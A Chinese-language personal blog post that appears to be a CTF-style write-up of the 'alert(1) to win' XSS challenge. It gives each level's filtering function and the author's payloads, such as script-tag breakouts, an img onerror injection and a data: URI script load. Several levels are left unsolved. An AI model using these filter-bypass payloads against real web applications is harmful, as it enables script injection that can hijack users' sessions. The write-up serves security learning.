HeartSky's blog


在渗透之路上渐行渐远


alert(1) writeup

做完了prompt(1),意犹未尽(虽然有很多不会做的),再来做下这个

Level 0


题目

1
2
3
4
5
function escape(s) {
// Warmup.

return '<script>console.log("'+s+'");</script>';
}

答案

1
");alert(1)//

注意后面要有注释,不然无法弹窗

Level 1


题目

1
2
3
4
5
function escape(s) {
// Escaping scheme courtesy of Adobe Systems, Inc.
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

答案

1
</script><script>alert(1)//

由于</script>优先级较高,所以可以先闭合script,再在新的script里输出弹窗语句

看其他人的答案找到了一个更简便的方法

1
\");alert(1)//

直接看下面的输出语句你就明白了,这种思路的确值得学习

1
<script>console.log("\\");alert(1)//");</script>

Level 2


题目

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

答案

1
</script><script>alert(1)//

JSON.stringify()方法会转义\",所以只能闭合script标签
其实这个题稍微有些不明白,传进对象去,结果并没有序列化为JSON字符串,感觉是这个题目出的不严谨,像script里面应该用双引号却用了单引号

Level3


题目

1
2
3
4
5
6
7
8
9
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

答案

1
%22),alert(1)//

因为是href属性,所以可以采用url编码来绕过对双引号的过滤

Level 4


题目

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace('"', '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

答案

1
[[1|2"" onerror="alert(1)" src=]]

仔细观察题目可发现"只过滤了一次,这里可以利用,再加上img标签,成功解题
输出代码如下

1
<img alt="2&quot;" onerror="alert(1)" src=" src="1.gif">

Level 5


题目

1
2
3
4
5
6
7
8
9
10
11
function escape(s) {
// Level 4 had a typo, thanks Alok.
// If your solution for 4 still works here, you can go back and get more points on level 4 now.

var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

答案

1
[[1|http://onload='alert(1)']]

Level 5的升级版,对"的过滤改为了全局匹配,是在想不出来,看了下别人的答案,是要结合imghttp,不是太明白

Level 6


题目

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}

答案

1
Comment#--><script>alert(1)</script>

可以创建一个注释节点(因为里面内容不会被转义),然后#后面是注释里的内容,所以可以闭合注释来插入script

Level 7


题目

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

答案

1
'#';alert(1)//

第一个字符串允许使用',所以可以采用单引号闭合的方式来解决,完全不用管JSON数据(不要被JSON所迷惑)

Level 8


题目

1
2
3
4
function escape(s) {
// Courtesy of Skandiabanken
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

答案

1
</script><script src=data:text/html,%61%6c%65%72%74(1)>

因为输入被转换为了大写,所以只能对alert进行编码,然后利用script标签的src属性和data协议进行弹窗

Level 9


题目

1
2
3
4
5
6
7
function escape(s) {
// This is sort of a spoiler for the last level :-)

if (/[\\<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

答案

1
2


Level 8的升级版,在原题的基础上过滤了\ < >,不过并不会

Level 10


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

答案

1
2


Level 11


题目

1
2
3
4
5
6
function escape(s) {
// Spoiler for level 2
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

答案

1
</sc</scriptript><script>alert(1)//

因为被替换成了空字符串,所以拆分法

Level 12


题目

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

答案

1
'#';alert(1)<!--

Level 7的升级版,JS有很多种注释方式嘛

Level 13


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function escape(s) {
var tag = document.createElement('iframe');

// For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// http://print.alf.nu/?html=... just outputs whatever you pass in.
//
// Alerting from print.alf.nu won't count; try to trigger the one below.

s = '<script>' + s + '<\/script>';
tag.src = 'http://print.alf.nu/?html=' + encodeURIComponent(s);

window.WINNING = function() { youWon = true; };

tag.onload = function() {
if (youWon) alert(1);
};
document.body.appendChild(tag);
}

答案

1
2


Level 14


题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); }

return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}

答案

1
2


Level 15


题目

1
2
3
4
5
6
7
8
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log('+json+')</script>';
}).join('');
}

答案

1
2


总结

有些题实在不会做,看来我需要去学习DOM,还有一些HTML5的新特性了